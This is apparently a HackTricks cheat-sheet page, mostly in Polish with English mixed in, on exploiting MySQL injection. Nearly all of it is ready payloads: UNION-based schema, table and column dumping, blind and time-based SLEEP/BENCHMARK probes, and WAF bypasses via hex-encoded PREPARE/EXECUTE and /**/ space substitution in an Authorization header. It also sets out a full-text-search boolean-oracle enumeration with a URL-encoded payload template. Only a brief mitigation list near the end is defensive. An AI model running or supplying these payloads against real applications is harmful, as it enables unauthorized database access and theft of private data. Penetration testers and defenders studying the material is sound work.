MySQL injection

Reading time: 9 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Komentarze

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interesujące funkcje

Potwierdź Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Przydatne funkcje

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Wszystkie injection

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Przepływ

Pamiętaj, że w "nowoczesnych" wersjach MySQL możesz użyć "information_schema.tables" zamiast "mysql.innodb_table_stats" (To może być przydatne do obejścia WAFs).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Tylko 1 wartość

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Wykrywanie liczby kolumn

Używając prostego ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Dowiedz się tutaj różnych opcji, aby abuse a Mysql injection to obtain a SSRF.

Sztuczki omijania WAF

Wykonywanie zapytań przez Prepared Statements

Gdy stacked queries są dozwolone, może być możliwe ominięcie WAFs przez przypisanie do zmiennej hexowej reprezentacji zapytania, które chcesz wykonać (używając SET), a następnie użycie instrukcji PREPARE i EXECUTE MySQL, aby ostatecznie wykonać zapytanie. Coś takiego:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Więcej informacji znajdziesz w this blog post.

Alternatywy dla Information_schema

Pamiętaj, że w „nowoczesnych” wersjach MySQL możesz zastąpić information_schema.tables przez mysql.innodb_table_stats, sys.x$schema_flattened_keys albo sys.schema_table_statistics

MySQLinjection without COMMAS

Select 2 kolumny bez użycia żadnego przecinka (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Pobieranie wartości bez nazwy kolumny

Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tej tabeli, możesz spróbować ustalić, ile kolumn się w niej znajduje, wykonując coś takiego:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Zakładając, że są 2 kolumny (pierwsza to ID), a druga to flag, możesz spróbować bruteforce'ować zawartość flagi, próbując znak po znaku:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Więcej informacji w https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Niektóre aplikacje oczyszczają lub parsują dane wejściowe użytkownika za pomocą funkcji takich jak sscanf("%128s", buf), które zatrzymują się na pierwszym znaku spacji. Ponieważ MySQL traktuje sekwencję /**/ jako komentarz i jako białe znaki, można jej użyć do całkowitego usunięcia zwykłych spacji z payloadu, jednocześnie zachowując poprawność składniową zapytania.

Przykład time-based blind injection omijającego filtr spacji:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Które zostaje odebrane przez bazę danych jako:

sql
' OR SLEEP(5)-- -'

Jest to szczególnie przydatne, gdy:

  • Kontrolowany bufor ma ograniczony rozmiar (np. %128s) i spacje zakończyłyby wejście przedwcześnie.
  • Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie zwykłe spacje są usuwane lub używane jako separatory.
  • W połączeniu z prymitywami INTO OUTFILE w celu osiągnięcia pełnego pre-auth RCE (zobacz sekcję MySQL File RCE).

Historia MySQL

Możesz zobaczyć inne wykonania wewnątrz MySQL, czytając tabelę: sys.x$statement_analysis

Wersje alternatywnes

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

To nie jest klasyczny SQL injection. Gdy deweloperzy przekazują dane użytkownika do MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL wykonuje bogaty zestaw operatorów wyszukiwania Boolean wewnątrz cytowanego ciągu. Wiele reguł WAF/SAST skupia się wyłącznie na przerwaniu cytatów i pomija tę powierzchnię.

Key points:

  • Operators are evaluated inside the quotes: + (musi zawierać), - (nie może zawierać), * (trailing wildcard), "..." (dokładna fraza), () (grupowanie), </>/~ (wagi). Zobacz dokumentację MySQL.
  • To pozwala na testy obecności/nieobecności oraz testy prefiksowe bez wychodzenia z literału ciągu znaków, np. AGAINST('+admin*' IN BOOLEAN MODE) aby sprawdzić dowolny termin zaczynający się od admin.
  • Przydatne do budowy orakli, takich jak „czy którykolwiek wiersz zawiera termin z prefiksem X?”, oraz do enumeracji ukrytych ciągów przez rozszerzanie prefiksów.

Przykładowe zapytanie zbudowane przez backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Jeśli aplikacja zwraca różne odpowiedzi w zależności od tego, czy zestaw wyników jest pusty (np. przekierowanie vs. komunikat o błędzie), to zachowanie staje się oraklem boolowskim, który można wykorzystać do wyliczenia prywatnych danych, takich jak ukryte/usunięte tytuły.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: jeśli backend przycina 1–2 końcowe znaki w każdym słowie za pomocą regexu takiego jak (\b.{1,2})(\s)|(\b.{1,2}$), wyślij prefix*ZZ. Sanitizer przytnie ZZ, ale zostawi *, więc prefix* przetrwa.
  • Early-break stripping: jeśli kod usuwa operatory w każdym słowie, ale przestaje przetwarzać, gdy znajdzie dowolny token o długości ≥ min length, wyślij dwa tokeny: pierwszy to śmieciowy token spełniający próg długości, drugi niesie operator payload. Na przykład: &&&&& +jack*ZZ → po czyszczeniu: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 to &, %2B to +. The trailing xD (or any two letters) is trimmed by the cleaner, preserving {FUZZ}*.
  • Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.

Przebieg enumeracji:

  1. Zacznij od {FUZZ} = a…z,0…9, aby znaleźć dopasowania pierwszej litery za pomocą +a*, +b*, …
  2. Dla każdego pozytywnego prefiksu rozgałęź: a* → aa* / ab* / …. Powtarzaj, aby odzyskać cały ciąg.
  3. Rozdziel żądania (proxies, multiple accounts) jeśli aplikacja wymusza flood control.

Dlaczego tytuły często leakują, a treści nie:

  • Niektóre aplikacje wykonują checki widoczności dopiero po wstępnym MATCH na tytułach/subjects. Jeśli control-flow zależy od wyniku „any results?” przed filtrowaniem, występują existence leaks.

Środki zaradcze:

  • Jeśli nie potrzebujesz logiki Boolean, użyj IN NATURAL LANGUAGE MODE lub traktuj dane wejściowe użytkownika jako literal (escape/quote disables operators in other modes).
  • Jeśli wymagany jest tryb Boolean, usuń lub zneutralizuj wszystkie Boolean operators (+ - * " ( ) < > ~) dla każdego tokenu (no early breaks) po tokenizacji.
  • Zastosuj filtry widoczności/autoryzacji przed MATCH, albo ujednolić odpowiedzi (constant timing/status) gdy result set jest empty vs. non-empty.
  • Przejrzyj analogiczne funkcje w innych DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS także parsują operatory wewnątrz quoted arguments.

Uwagi:

  • Prepared statements nie chronią przed semantycznym nadużyciem REGEXP lub search operators. Wejście takie jak .* pozostaje permissive regex nawet wewnątrz zacytowanego REGEXP '.*'. Używaj allow-lists lub explicit guards.

Inne MYSQL injection guides

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks